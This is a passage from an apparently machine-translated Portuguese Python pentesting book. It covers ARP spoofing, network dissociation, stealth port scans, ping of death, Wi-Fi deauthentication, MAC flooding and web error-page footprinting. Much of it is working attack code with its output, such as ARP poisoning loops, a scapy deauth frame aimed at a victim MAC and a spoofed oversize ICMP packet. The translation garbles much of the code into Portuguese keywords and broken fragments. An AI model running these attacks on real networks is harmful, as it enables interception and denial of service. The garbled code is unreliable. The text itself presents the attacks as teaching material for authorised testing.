gatemac = '\ x00 \ x50 \ x56 \ xC0 \ x00 \ x08' code = '\ x08 \
x06'
eth1 = victmac + sor + código #For vítima eth2 = gatemac +
sor + # código de passagem
arp_victim = eth1 + htype + ProType + hsize + psize + opcode + sor + GIP + victmac + VIP arp_gateway = eth2 + htype
+ ProType + hsize + psize + opcode + sor + VIP + gatemac + GIP
enquanto 1:
s.send (arp_victim)
s.send (arp_gateway)
Na seção elaboração de pacotes explicado anteriormente, você criou o frame Ethernet. Neste código,
utilizou-se 3 endereços MAC, as quais também são mostrados na tabela anterior. Aqui, usamos code = '\ x08 \
x06', o qual é o código do protocolo ARP. Os dois pacotes Ethernet trabalhada são eth1 e eth2. A linha
seguinte htype = '\ x00 \ x01' denota a Ethernet. Tudo está em ordem, como mostrado no cabeçalho ARP,
ProType = '\ x08 \ x00', que indica o tipo de protocolo; hsize = '\ x06' mostra o tamanho do endereço de hardware; psize
= '\ x04' dá o comprimento de endereço IP; e opcode = '\ x00 \ x02' mostra que é um pacote de resposta. o gate_ip =
'192.168.0.1' e
victim_ip = '' 192.168.0.11 declarações são os endereços IP do gateway e vítima, respectivamente. o socket.inet_aton
(gate_ip) método converte o endereço IP para um formato hexadecimal. No final, que montar o código inteiro
de acordo com o cabeçalho ARP. o s.send () método também coloca os pacotes no cabo. Agora, é hora de ver
a saída. Execute o arpsp.py Arquivo.
[73]
Sniffing e Teste de Invasão
A imagem anterior mostra a cache ARP antes e depois do ataque de falsificação ARP. É evidente a partir da
imagem que o endereço MAC do IP do gateway foi alterado. Nosso código está funcionando bem. Vamos
verificar o cache ARP do gateway:
A imagem anterior mostra que o nosso código foi executado com êxito. A vítima e IP do atacante ter o
mesmo endereço MAC. Agora, todos os pacotes destinados para o gateway irá percorrer o sistema do
invasor, e o atacante pode efetivamente ler os pacotes que viajam e para trás entre o gateway e o
computador da vítima.
Em pentesting, você só tem que atacar (ARP spoofing) o gateway para investigar se o gateway é
vulnerável a falsificação ARP ou não.
[74]
Capítulo 3
dissociação rede
Neste ataque, a vítima permanecerá conectado ao gateway, mas não pode se comunicar com a rede externa.
Simplificando, a vítima permanecerá conectado ao roteador, mas não pode navegar na Internet. O princípio
deste ataque é o mesmo que o envenenamento de cache ARP. O ataque irá enviar o pacote de resposta ARP
para a vítima e que o pacote vai mudar o endereço MAC do gateway no cache ARP da vítima com outro MAC.
A mesma coisa é feita no gateway. O código é o mesmo que o de falsificação ARP, com exceção de algumas
mudanças, que são explicadas como segue:
soquete importação
binascii importação
importação struct
s = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, tomada. ntohs (0x0800))
victmac = '\ x00 \ x0C \ x29 \ x2E \ x84 \ x7A' gatemac = '\
x00 \ x50 \ x56 \ xC0 \ x00 \ x08' code = '\ x08 \ x06'
[75]
Sniffing e Teste de Invasão
arp_victim = eth1 + htype + ProType + hsize + psize + opcode + sor + GIP + victmac + VIP arp_gateway = eth2 + htype
+ ProType + hsize + psize + opcode + sor + VIP + gatemac + GIP
enquanto 1:
s.send (arp_victim)
s.send (arp_gateway)
Corre netdiss.py. Podemos ver que há apenas uma mudança no código, que é
sor = '\ x48 \ x41 \ x43 \ X4B \ x45 \ x52'. Esta é uma MAC aleatório como este MAC não existe. Interruptor vai
cair os pacotes ea vítima não pode navegar na Internet.
A fim de realizar o ataque de envenenamento de cache ARP, a vítima deve ter uma
entrada real da porta de entrada no cache ARP.
Você pode se perguntar por que usamos MAC '\ x48 \ x41 \ x43 \ X4B \ x45 \ x52?. Apenas convertê-lo em ASCII e
você terá sua resposta.
Agora, vamos dar uma olhada usando scapy. Scapy é uma biblioteca de terceiros que lhe permite fazer pacotes feitos sob
medida. Então vamos escrever um código simples e curto para que você possa entender scapy.
Antes de escrever o código, vamos entender o conceito da varredura semi-aberto. As seguintes etapas
definir a varredura discrição:
2. Se a porta está aberta, em seguida, o servidor responde com o pacote SYN / ACK.
3. Se o servidor responde com um pacote RST, isso significa que a porta está fechada.
[76]
Capítulo 3
Agora, vamos percorrer o código, que também será explicado da seguinte forma:
de scapy.all import *
IP1 = IP (src = "192.168.0.10", dst = "192.168.0.3") TCP1 = TCP (sport = 1024, dport = 80,
flags = "S", seq = 12345) packet = IP1 / TCP1 p = sr1 (pacotes, entre = 1)
p.show ()
RS1 = TCP (desporto = 1,024, dport = 80, bandeiras = "R", SEQ = 12347) packet1 = IP1 /
RS1 p1 = SR1 (packet1) p1.show
A primeira linha importa todos os módulos de scapy. A próxima linha IP1 = IP (src = "192.168.0.10", dst =
"192.168.0.3") define o pacote IP. O nome do pacote IP é IP1, que contém o endereço de origem e destino. o TCP1
= TCP (sport = 1024, dport = 80, flags = "S", seq = 12345) declaração define um pacote TCP chamado TCP1, e este
pacote contém a porta de origem e porta de destino. Estamos interessados em porta 80 como nós definimos as
etapas anteriores da verificação discrição. Para a primeira etapa, o cliente envia um pacote SYN para o
servidor. Na nossa TCP1 pacote, a bandeira SYN foi ajustada conforme mostrado no pacote, e SEQ é dada
aleatoriamente. A próxima linha pacote = IP1 / TCP1 organiza o primeiro IP e, em seguida, o TCP. o p = SR1
(pacotes, entre = 1) declaração recebe o pacote. o SR1 () função usa os pacotes enviados e recebidos, mas ele só
recebe um pacote respondeu: inter-=
1, o que indica um intervalo de 1 segundo, porque queremos um intervalo de um segundo para estar presente
entre dois pacotes. A próxima linha p.show () dá a visão hierárquica do pacote recebido. o rs1 = TCP (sport = 1024,
dport = 80, flags = "R", seq = 12347) declaração irá enviar o pacote com a flag RST. As linhas que seguem esta
linha são fáceis de entender. Aqui, p1.show não é necessária porque não estamos aceitando qualquer resposta
do servidor. A saída é como se segue:
AVISO: (nenhuma rota padrão) Nenhuma rota encontrada para o destino IPv6 :: Comece emissão:
DIH
= 5L
[77]
Sniffing e Teste de Invasão
tos = 0x0
len = 44
identidade =0
bandeiras = DF
frag = 0D
ttl = 64
proto = tcp
chksum = 0xb96e
src = 192.168.0.3
DST = 192.168.0.10
\ Options \
# # # [TCP] ###
esporte = http
dport = 1024
seq = 2065061929
ack = 12346
dataofs = 6L
reservados flags = 0D
= SA
janela = 5840
chksum = 0xf81e
urgptr =0
# # # [ Preenchimento ]###
Comece emissão:
. .^Z
Assim que recebemos o nosso pacote respondeu. A origem eo destino parece bem. Dê uma olhada no
campo TCP e observe o valor da bandeira. Temos SA, o que denota a flag SYN e ACK. Como já discutimos
anteriormente, se o servidor responde com uma flag SYN e ACK, isso significa que a porta está aberta.
Wireshark também capta a resposta, como se mostra na imagem seguinte:
[78]
Capítulo 3
A saída Wireshark
Agora, vamos fazê-lo novamente, mas, desta vez, o destino será diferente. A partir da saída, você vai
saber o que o endereço de destino foi:
AVISO: (nenhuma rota padrão) Nenhuma rota encontrada para o destino IPv6 :: Comece emissão:
DIH
= 5L
tos = 0x0
len = 40
identidade = 37929
bandeiras =
frag = 0D
ttl = 128
proto = tcp
chksum = 0x2541
src = 192.168.0.11
DST = 192.168.0.10
\ Options \
# # # [TCP] ###
esporte = http
dport = 1024
seq =0
ack = 12346
dataofs = 5L
reservados flags = 0D
= RA
janela =0
[79]
Sniffing e Teste de Invasão
chksum = 0xf9e0
urgptr =0
options = {}
# # # [ Preenchimento ]###
Comece emissão:
Desta vez, ele retorna a bandeira RA que significa RST e ACK. Isto significa que a porta está fechada.
A varredura FIN
Às vezes, firewalls e Intrusion Detection System (IDS) são configurados para detectar varreduras SYN. Em um ataque de
verificação da FIN, um pacote TCP é enviado para o host remoto com apenas a flag FIN. Se nenhuma resposta vem do
hospedeiro, isso significa que a porta está aberta. Se uma resposta é recebida, que contem a bandeira RST / ACK, o que
significa que a porta está fechada.
de scapy.all import *
IP1 = IP (src = "192.168.0.10", DST = "192.168.0.11") SY1 = TCP (sport = 1024, dport = 80,
flags = "F", seq = 12345) packet = IP1 / SY1 p = sr1 (pacote)
p.show ()
O pacote é o mesmo que o anterior, com apenas o conjunto bandeira FIN. Agora, verifique a resposta de
diferentes máquinas:
[80]
Capítulo 3
tos = 0x0
len = 40
identidade = 38005
bandeiras =
frag = 0D
ttl = 128
proto = tcp
chksum = 0x24f5
src = 192.168.0.11
DST = 192.168.0.10
\ Options \
# # # [TCP] ###
esporte = http
dport = 1024
seq =0
ack = 12346
dataofs = 5L reservados
flags = 0D
= RA
janela =0
chksum = 0xf9e0
urgptr =0
options = {}
# # # [ Preenchimento ]###
carga = '\ X00 \ x00 \ x00 \ x00 \ x00 \ x00'
O pacote recebido contém o sinalizador RST / ACK, o que significa que a porta está fechada. Agora, vamos
mudar o destino para 192.168.0.3 e verificar a resposta:
Nenhuma resposta foi recebida do destino, o que significa que a porta está aberta.
[81]
Sniffing e Teste de Invasão
Neste método de digitalização, o atacante envia um pacote ACK sonda com um número de sequência aleatória,
onde nenhuma resposta significa que a porta é filtrado (uma firewall inspeção de estado está presente, neste
caso); Se uma resposta RST volta, isto significa que a porta é fechada. Agora, vamos passar por este código:
de scapy.all import *
IP1 = IP (src = "192.168.0.10", DST = "192.168.0.11") SY1 = TCP (sport = 1024, dport = 137,
bandeiras = "a", seq = 12345) packet = IP1 / SY1 p = sr1 (pacote)
p.show ()
No código anterior, o sinalizador foi definido para ACK, e a porta de destino é 137.
AVISO: (nenhuma rota padrão) Nenhuma rota encontrada para o destino IPv6 :: Comece emissão:
O pacote foi enviado, mas nenhuma resposta foi recebida. Você não precisa se preocupar, pois temos o nosso sniffer
Python para detectar a resposta. Então executar o sniffer. Não há necessidade de executá-lo em modo promíscuo e
enviar o pacote ACK novamente:
Out-put de sniffer
- - - - - - - - - - - IP ------------------
TTL: 128
192.168.0.10
- - - - - - - - - TCP ----------
[82]
Capítulo 3
1024 Flag 04
O pacote de retorno mostra o sinalizador 04, o que significa RST. Isso significa que a porta não é filtrada.
Vamos configurar um firewall e verificar a resposta do pacote ACK novamente. Agora que o firewall está configurado, vamos
enviar o pacote novamente. A saída será como se segue:
AVISO: (nenhuma rota padrão) Nenhuma rota encontrada para o destino IPv6 :: Comece emissão:
A saída do tubo aspirador mostra nada, o que significa que a firewall está presente.
Ping da morte
Ping da morte é um tipo de negação de serviço em que o atacante envia deliberadamente uma solicitação de ping,
que é maior do que 65.536 bytes. Uma das características de TCP / IP é a fragmentação; que permite que um único
pacote IP para ser dividido em segmentos menores. Vamos dar uma olhada no código e passar pela explicação do
código também. O nome do programa é pingofd.py:
de scapy.all import *
IP1 = IP ( "src = 192.168.0.99", DST = "192.168.0.11") do pacote = IP1 / ICMP () / (
"m" * 60000) enviar (pacote)
Aqui, estamos usando 192.168.0.99 como o endereço de origem. Este é um ataque e eu não quero revelar o meu
endereço IP; é por isso que eu tenho falsificado meu IP. O pacote contém o IP e ICMP pacotes e 60.000 bytes de
dados para que você pode aumentar o tamanho do pacote. Desta vez, usamos o enviar() função desde não
estamos esperando uma resposta.
[83]
Sniffing e Teste de Invasão
Você pode ver na saída que os números de pacotes 1498 para 1537 são de IPv4. Depois disso, o pacote
ICMP entra em cena. Você pode usar um loop while para enviar vários pacotes. Em pentesting, você tem
que verificar as máquinas e verifique se o firewall irá impedir este ataque ou não.
Resumo
No início deste capítulo, nós aprendemos sobre o conceito de um sniffer, o uso de um sniffer na rede, que às vezes
pode revelar grandes segredos como uma senha, chats, e assim por diante. No mundo de hoje, principalmente
switches são usados, então você deve saber como realizar sniffing ativo. Também aprendeu a fazer-se uma camada
de 4 sniffer. Em seguida, nós também aprendemos como realizar ARP spoofing. Você deve testar a rede pela ARP
spoofing e escrever suas descobertas no relatório. Então, nós olhamos para o tópico de testar a rede usando pacotes
personalizados. O ataque dissociação rede é semelhante ao ataque de envenenamento de cache ARP, que também
foi explicado. Entreaberta, varredura FIN, e varredura bandeira ACK são tipos especiais de digitalização que
aflorados também. Por último, de ping da morte, que está relacionado com o ataque DDOS, foi explicado.
No próximo capítulo, você aprenderá sobre a rede wireless sniffing e ataques sem fio. o tráfego sem fio é
diferente de uma rede com fio. Para capturar o tráfego sem fio, você não precisa de acesso físico, e isso faz com
que o tráfego sem fio mais vulnerável. Vamos aprender em breve como capturar o tráfego sem fio e como atacar
o ponto de acesso no próximo capítulo.
[84]
pentesting sem fio
A era da conectividade sem fio tem contribuído para a flexibilidade e mobilidade, mas também deu início a muitos
problemas de segurança. Com conectividade com fios, o atacante precisa de acesso físico, a fim de se conectar e
ataque. No caso de conectividade sem fio, um atacante precisa apenas a disponibilidade do sinal para lançar um
ataque. Antes de prosseguir, você deve estar ciente da terminologia utilizada:
• Access Point (AP): Ele é usado para conectar dispositivos sem fio com redes com fio.
• Service Set Identifier (SSID): É um identificador único 0-32 alfanumérico para uma LAN sem fio; é
legível, e simplesmente colocar, é o nome da rede.
• número do canal: Isso representa o alcance da frequência de rádio usada por AP para a
transmissão.
O número do canal pode ter mudado devido à configuração automática de AP. Assim, neste
capítulo, não se confundem. Se você executar o mesmo programa em um horário diferente, o
número do canal pode ter mudado.
• Detectar os clientes de um AP
802.11 e 802.11x são definidos como uma família de tecnologias de LAN sem fio por IEEE. A seguir estão as
especificações 802,11 com base na frequência e largura de banda:
• 802.11: Isto fornece largura de banda até 1-2 Mbps com uma banda de frequência de 2,4 GHz
• 802.11.a: Isto fornece largura de banda até 54 Mbps com uma banda de frequência de 5 GHz
• 802.11.b: Isto fornece largura de banda até 11 Mbps com uma banda de frequência de 2,4 GHz
• 802.11g: Isto fornece largura de banda até 54 Mbps com uma banda de frequência de 2,4 GHz
• 802.11n: Isto fornece largura de banda até 300 Mbps com ambas as bandas de frequência
Todos os componentes de 802.11 cair em qualquer o Media Access Control (MAC) ou a camada física. A camada
MAC é a subclasse da camada de ligação de dados. Você leu sobre a Protocol Data Unit (PDU) da camada de
ligação de dados, o qual é chamado uma moldura. Antes, porém, vamos entender o formato de quadro 802.11. Os
três principais tipos de quadros que existem no 802.11 são:
• A trama de dados
• O quadro de controle
• O quadro de gestão
Estes quadros são assistidas pela camada MAC. A imagem seguinte descreve o formato da camada MAC:
Na imagem anterior, os três tipos de endereços são mostradas. Endereço 1, endereço 2, e endereço 3 são os
endereços MAC de destino, AP, e origem, respectivamente. Isso significa Endereço 2 é o BSSID do AP. Neste
capítulo, nosso foco será sobre o quadro de gestão, porque estamos interessados nos subtipos do quadro de
gestão. Alguns tipos comuns de quadros de gerenciamento são a moldura de autenticação, o quadro
deauthentication, o quadro de solicitação de associação, o quadro de dissociação, o quadro de pedido sonda,
eo quadro resposta da sonda. A conexão entre os clientes e APs é estabelecida pela troca de vários quadros,
como mostrado na imagem a seguir:
[86]
Capítulo 4
A troca do quadro
• O quadro de Beacon: A AP envia periodicamente um quadro beacon para anunciar sua presença. O
quadro guia contém informação tal como SSID, número de canal, BSSID, e assim por diante.
• O pedido Probe: O dispositivo sem fios (cliente) envia um pedido de sondagem para determinar quais são
os APs na gama. O pedido sonda contém elementos como o SSID do AP, as taxas suportadas,
informações específicas de vender, e assim por diante. O cliente envia o pedido de sonda e aguarda a
resposta da sonda por algum tempo.
• A resposta Probe: Na resposta do pedido de sondagem, o AP correspondente irá responder com um pacote
de resposta da sonda que contém a informação de capacidade, as taxas de dados suportadas, e assim por
diante.
[87]
pentesting sem fio
Agora é hora para uma prática. Na seção seguinte, vamos passar pelo resto da teoria.
Definir mon0
Quando você executa o airmon-ng script, ele dá o cartão wireless um nome como wlan0,
como mostrado na imagem anterior. o airmon-ng start wlan0 comando iniciará wlan0 no modo de monitor, e mon0 capta
pacotes sem fios. Agora, vamos escrever nosso primeiro programa, que dá três valores: SSID, BSSID, e o
número do canal. Não se preocupe, nós vamos passar por isso linha por linha:
tomada de importação
[88]
Capítulo 4
FM = fm1 [0]
Se fm [26] == "\ x80":
Se fm [36:42] não em ap_list:
ap_list.append (fm [36:42]) a = ord (fm
[63])
print "SSID ->", fm [64:64 + a] "- BSSID ->", \ fm [36:42] .encode ( 'hex'), "- Canal ->", ord
(fm [64 + a + 12])
A primeira linha é, como de costume Tomada de importação. A próxima linha é fungar = tomada. Tomada
(socket.AF_PACKET, socket.SOCK_RAW, 3). Espero que você tenha lido
Capítulo 3, Sniffing e Teste de Invasão cuidadosamente. A única coisa nova é 3. O argumento 3 representa o
número de protocolo, o que indica ETH_P_ALL. Isso significa que estamos interessados em todos os pacotes. A
próxima linha sniff.bind (( "mon0", 0x0003)) liga-se a mon0 o modo e o protocolo número 3. Na linha seguinte, que
declarado um vazio
ap_list = [] lista, que irá armazenar os endereços MAC (SSID) do APs. Estamos usando uma lista para evitar
qualquer redundância de APs. Para cheirar contínuo, temos utilizado um infinito enquanto ciclo. Nas próximas fm1 =
sniff.recvfrom (6000) declaração dá dados para
fm1, e no próximo FM = fm1 [0] declaração leva apenas a primeira parte do quadro, que contém séries hexadecimal
longa de números; isto é, um hexadecimal contém todos os elementos de uma estrutura, como mostrado na imagem
seguinte. Nas próximas Se fm [26] == "\ x80":
declaração diz E se que o subtipo armação é de 8 bits, que indica o quadro guia, como mostrado na imagem
seguinte:
[89]
pentesting sem fio
Você pode perguntar por fm [26]. Isso significa que o byte 27 contém um subtipo porque fm [00:25] significa os
primeiros 26 bytes são tomadas pelo cabeçalho Radiotap. Na imagem anterior, você pode ver Radiotap
cabeçalho, comprimento igual a 26, o que significa que os primeiros 26 bytes foram tomadas pelo cabeçalho
Radiotap. Nas próximas
Se fm [36:42] não em ap_list: declaração é um filtro que verifica se o
fm [36:42] valor, que é BSSID, está presente em ap_list ou não. Se não, o próximo
ap_list.append (fm [36:42]) declaração irá adicionar o BSSID em ap_list. Nas próximas
a = ord (fm [63]) declaração dá o comprimento do SSID. Na linha seguinte, fm [64:64
+ A] indica que o SSID do AP reside em 64-64 mais o comprimento do SSID; a
fm [36:42] .encode ( 'hex') declaração converte o valor hexadecimal para um valor hexadecimal legível; a ord (fm [64
+ a + 12]) declaração fornece o número do canal, que reside números 12 à frente do SSID.
detalhes AP
Agora, vamos escrever o código para encontrar o SSID e endereço MAC dos APs usando scapy. Você deve estar
pensando que realizou a mesma tarefa na análise de pacotes raw; na verdade, para fins de pesquisa, você deve
saber sobre análise de pacotes cru. Se você quiser alguma informação que scapy não sabe, análise de pacotes
raw lhe dá a liberdade para criar o sniffer desejado:
se fm.haslayer (Dot11):
[90]
Capítulo 4
ap_list.append (fm.addr2)
print "SSID ->", fm.info "- BSSID ->", fm.addr2
Vamos percorrer o código desde o início. o scapy.all importar * importações declaração todos os módulos da
biblioteca scapy. A interface variável é definida como mon0. Uma lista vazia com o nome ap_list é declarada. Na
linha seguinte, o informações função é definida ea fm argumento foi passado. o se fm.haslayer (Dot11): declaração é
como um filtro, que passa apenas a
Dot11 tráfego; Dot11 indica tráfego de 802.11. Nas próximas if ((fm.type == 0) e (fm subtipo == 8).): declaração é
outro filtro, que passa de tráfego em que o tipo de quadro é 0 e o subtipo quadro é 8; tipo 0 representa o quadro
de gestão e subtipo
8 representa o quadro guia. Na linha seguinte, o se não fm.addr2 em ap_list:
declaração é usada para remover a redundância; Se o endereço MAC do AP não está na ap_list,
em seguida, ele acrescenta a lista e adiciona o endereço à lista como indicado na linha seguinte. A próxima
linha imprime a saída. O último fungada (iface = interface, prn = info) A linha funga os dados com a interface, que
é mon0, e invoca o info () função. A imagem seguinte mostra a saída do ssid.py programa:
Espero que você tenha entendido o ssid.py programa. Agora, vamos tentar descobrir o número do canal da
AP. Nós vamos ter que fazer algumas alterações ao código. O novo código modificado é o seguinte:
se fm.haslayer (Dot11):
if ((fm.type == 0) e (fm.subtype == 8)):
se não fm.addr2 em ap_list:
ap_list.append (fm.addr2)
[91]
pentesting sem fio
print "SSID ->", fm.info "- BSSID ->", fm.addr2, \ "- Canal ->", ord (fm [Dot11Elt: 3] .info)
fungada (iface = interface, prn = info)
Você vai notar que nós adicionamos uma coisa aqui, isto é, ord (fm [Dot11Elt: 3]. info).
Você pode se perguntar o que Dot11Elt é? Se você abrir Dot11Elt em scapy, você vai ter três coisas, ID, len, e info,
como mostrado no seguinte resultado:
INFO: Não é possível importar python gnuplot wrapper. não será capaz de traçar. AVISO: Nenhuma rota
encontrada para o destino IPv6 :: (? Nenhuma rota padrão) lWelcome para scapy (2.2.0)
: ByteEnumField = (0)
>>>
42: "ERPinfo", 46: "QoS Capability," 47: "ERPinfo", 48: "RSNinfo", 50: "ESRates", 221: "vendedor", 68:
"reservado"}), FieldLenField ( "len" , None, "info", "B"), StrLenField ( "info", "", length_from = lambda x: x.len)]
No código da classe anterior, DSset dá informações sobre o número de canal, de modo que o DSset número
é 3.
Não vamos torná-lo complexo e vamos simplesmente capturar um pacote usando scapy:
[92]
Capítulo 4
RadioTap / 802.11 Gestão 8L 84: 1b: 5e: 50: c8: 6e> ff: ff: ff: ff: ff: ff / Dot11Beacon / SSID = 'CIDADE PG3' / Dot11Elt /
Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt /
Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt
RadioTap / 802,11 Dados 8L 84: 1b: 5e: 50: c8: 6e> 88: 53: 2e: 0A: 75: 3-F / Dot11QoS / Dot11WEP
84: 1b: 5e: 50: c8: 6e> 88: 53: 2e: 0A: 75: 3-F (0x5f4) / bruto RadioTap / 802,11 Controlo 13L Nenhuma> 84: 1b: 5e:
50: c8: 6e / bruto RadioTap / 802,11 Controlo 11L 64: 09: 80: CB: 3b: f9> 84: 1b: 5e: 50: c8: 6e / bruto RadioTap /
802,11 Controlo 12L Nenhuma> 64: 09: 80: CB: 3b: f9 / bruto RadioTap / 802.11 Controle 9L Nenhum> 64: 09: 80: cb:
3b: f9 / Raw
Na imagem seguinte, você pode ver que há muitas Dot11Elt no quadro 0. Vamos verificar o quadro 0 em
detalhe.
Dot11Elt no quadro
Agora, você pode ver que existem vários < Dot11Elt. Cada Dot11Elt tem 3 campos.
ord (fm [Dot11Elt: 3] .info) dá o número do canal, que reside no quarto lugar (de acordo com o código de classe),
que é < Dot11Elt ID = DSset len = 1 info = '\ x04'.
Espero que você tenha entendido o Dot11Elt por enquanto.
[93]
pentesting sem fio
No Wireshark, podemos ver que as saídas são representados por Dot11Elt na imagem seguinte:
[94]
Capítulo 4
Detectando clientes de um AP
Você pode querer obter todos os clientes de um determinado AP. Nesta situação, você tem que captar o fotograma
pedido sonda. Em scapy, isso é chamado Dot11ProbeReq. Vamos verificar o quadro no Wireshark:
A trama de solicitao de sonda contém algumas informações interessantes, tais como o endereço de origem
ap_name = raw_input ( "Por favor, insira o nome do AP") probesniff def (fm):
se fm.haslayer (Dot11ProbeReq):
client_name = fm.info se client_name ==
ap_name:
se não fm.addr2 em probe_req:
print "New Probe Request:", imprimir client_name "MAC",
probe_req.append fm.addr2 (fm.addr2) fungada (iface = interface, prn =
probesniff)
[95]
pentesting sem fio
Vamos olhar para as novas coisas adicionadas no programa anterior. O usuário digita SSID do interesse do AP
que irá ser armazenado no ap_name variável. o se fm.haslayer (Dot11ProbeReq): declaração indica que estamos
interessados nos quadros de solicitação de sonda. o se client_name == ap_name: declaração é um filtro e capta
todas as solicitações que contêm o SSID de interesse. o print "MAC", fm.addr2
A linha imprime o endereço MAC do dispositivo sem fios ligados a AP. A saída do probe_req.py
programa é o seguinte:
interface = "mon0"
[96]
Capítulo 4
BSSID = raw_input ( "Digite o MAC do AP ") victim_mac = raw_input (" Digite o MAC
da vítima")
frame = RadioTap () / Dot11 (addr1 = victim_mac, addr2 = BSSID, ADDR3 = BSSID) / Dot11Deauth ()
Este código é muito fácil de entender. o frame = RadioTap () / Dot11 (addr1 = victim_mac, addr2 = BSSID,
ADDR3 = BSSID) / Dot11Deauth ()
instrução cria o pacote deauth. Desde o primeiro diagrama neste capítulo, você pode verificar esses endereços.
No ultimo sendp (quadro, iface = interface, count =
1000, inter = 0,1) linha, contagem dá o número total de pacotes enviada, e entre
indica o intervalo entre os dois pacotes. A saída do deauth.py programa
é o seguinte:
AVISO: Nenhuma rota encontrada para o destino IPv6 :: Digite o MAC do AP 0c (sem rota padrão?): D2:
b5: 01: 0f: e6 Digite o MAC da Vítima 88: 53: 2E: 0A: 75: 3F
O objetivo deste ataque não é apenas para executar um ataque deauth mas também para verificar o sistema de segurança
da vítima. IDS deve ter a capacidade de detectar o ataque deauth. Até agora, não há nenhuma maneira de evitar o ataque,
mas ele pode ser detectado. Você pode oferecer uma solução para o seu cliente para este ataque. Um script Python simples
pode detectar o ataque deauth. O que se segue é o código para a detecção de:
se fm.haslayer (Dot11):
if ((fm.type == 0) e (== fm.subtype 12)):
i mundial
imprimir "deauth detectada", ii = i + 1
O código anterior é muito fácil de entender. Vamos olhar para as coisas novas aqui. o fm.subtype == 12 declaração
indica o quadro deauth, eo globalmente declarada Eu variável nos informa sobre as contagens de pacotes.
[97]
pentesting sem fio
A fim de verificar o ataque, eu ter realizado o ataque deauth. A saída do mac_d.py roteiro
é o seguinte:
AVISO: Nenhuma rota encontrada para o destino IPv6 :: (? Nenhuma rota padrão) deauth detectado 1
deauth detectado 2 deauth detectado 3 deauth detectado 4 deauth detectado 5 deauth detectado 6 deauth
Ao analisar a contagem de pacotes, você pode detectar se ele cai sob o ataque DoS ou o comportamento normal.
[98]
Capítulo 4
[99]
pentesting sem fio
falsos com um Mac diferente, então cada vez que o detector vai fazer uma nova entrada para a porta 1, tais como A-1, X- 1,
Y-1, e assim por diante. Com estas entradas falsas, a tabela CAM vai ficar cheio, e o detector vai começar a se comportar
de scapy.all import *
num = int (raw_input ( "Introduzir o número de pacotes ")) de interface = raw_input ("
entrar na interface")
eth_pkt = Éter (src = RandMAC (), DST = "ff: ff: ff: ff: ff: ff")
arp_pkt = ARP (PDST = '192.168.1.255', hwdst = "ff: ff: ff: ff: ff: ff")
experimentar:
exceto :
print "Destino inacessível"
O código anterior é muito fácil de entender. Primeiro, ele pede para o número de pacotes que você
deseja enviar. Então, para a interface, você pode escolher um wlan
interface ou a eth interface. o eth_pkt declaração constitui um pacote de Ethernet com um endereço MAC
aleatório. No arp_pkt declaração, uma arp solicitação pacote é formado com o IP de destino e endereço MAC de
destino. Se você quiser ver o campo do pacote completo, você pode usar o comando arp_pkt.show () em scapy.
A saída de Wireshark mac_flood.py é como se segue:
[100]
Capítulo 4
O objetivo do MAC inundações é verificar a segurança do switch. Se o ataque for bem sucedido, marcar bem sucedido em
seus relatórios. A fim de mitigar o ataque inundação MAC, utilizar a segurança da porta. segurança portuária restringe o
tráfego de entrada para apenas um conjunto restrito de endereços MAC ou um número limitado de endereços MAC e ataques
de inundação MAC. Espero que tenham gostado deste capítulo.
Resumo
Neste capítulo, nós aprendemos sobre quadros sem fio e como obter informações, como SSID, BSSID, e o
número do canal a partir do quadro sem fio, usando o script Python ea biblioteca scapy. Nós também
aprendemos como obter um dispositivo sem fio conectado a AP. Após a coleta de informações,
procedeu-se ataques sem fio. O primeiro ataque discutimos foi o ataque deauth, que é similar a uma
bloqueador de Wi-Fi. Neste ataque, você tem que atacar o dispositivo sem fio e ver a reação da AP ou o
sistema de detecção de intrusão. O próximo ataque que discutimos foi o ataque MAC-inundações, que se
baseia na lógica da tabela CAM, onde você verificar se a segurança do porto está presente ou não.
No próximo capítulo, você vai aprender sobre a impressão de pé de um servidor web. Você também vai aprender como
obter o cabeçalho de HTTP e bandeira agarrando.
[101]
Pé de impressão de um servidor Web
e um aplicativo Web
Até agora, temos lido quatro capítulos que estão relacionados a partir da camada de enlace de dados para a camada de
transporte. Agora, podemos passar para testes de penetração da camada de aplicação. Neste capítulo, vamos percorrer
os seguintes tópicos:
A lógica por trás manipulação de erro é tentar produzir um erro em um servidor web, que retorna o código 404,
e ver a saída da página de erro. Eu escrevi um pequeno código para obter a saída. Iremos linha por linha
através do seguinte código:
importação re importar
urllib importação
aleatória
url1 = raw_input ( "Enter the URL") u = chr
(random.randint (97.122)) url2 = url1 + u
lista1 = []
a_tag = "<* endereço>"
FILE_TEXT = open ( "result.txt", 'a')
enquanto a bandeira == 0:
se http_r.code == 404:
file_text.write ( "--------------") file_text.write (url1)
file_text.write (teor)
para o jogo em re.finditer (a_tag, conteúdo):
i=i+1
s = match.start () e =
match.end () list1.append
(s) list1.append (e) if (i> 0):
[104]
capítulo 5
b = lista1 [2]
Tenho importado três módulos re, aleatório, e urllib, que são responsáveis por expressões regulares, para
gerar números aleatórios e actividades ligadas à URL, respectivamente. o url1 = raw_input ( "Enter the URL") declaração
pede o URL do site e armazenar esta URL no url1 variável. Em seguida, o
u = CHR (random.randint (97122)) instrução cria um personagem aleatório. O próximo comunicado acrescenta
esse personagem para a URL e armazena-lo na url2 variável. Então o http_r = urllib.urlopen (url2) declaração abre
a url2 página, e esta página é armazenada no http_r variável. o conteúdo = http_r.read () transferências de instrução
todos os conteúdos da página web para o conteúdo variável:
bandeira = 0 i =
lista1 = []
a_tag = "<* endereço>"
FILE_TEXT = open ( "result.txt", 'a')
A parte anterior do código define a bandeira variável Eu e uma lista vazia cujo significado nós discutiremos
mais tarde. o uma etiqueta variável assume um valor "<* address>".
UMA FILE_TEXT variável é um objeto de arquivo que abre o result.txt arquivo em modo de adição. o result.txt arquivo
armazena os resultados. o enquanto a bandeira == 0: declaração indica que nós queremos que o loop while para executar
pelo menos uma vez. o http_r.code instrução retorna o código de status do servidor web. Se a página não for encontrada,
ele irá retornar um código 404:
file_text.write (teor)
[105]
Pé de impressão de um servidor web e um aplicativo Web
uma b
o conteúdo impresso [a: b] declaração lê a saída entre o uma e b pontos e set bandeira = 1 para quebrar o enquanto
ciclo. o elif http_r.code == 200:
declaração indica que, se o código de status HTTP é 200, então ele irá imprimir o " página Web está usando página de erro
personalizada" mensagem. Neste caso, se o código 200 retorna para a página de erro, isso significa que o erro está
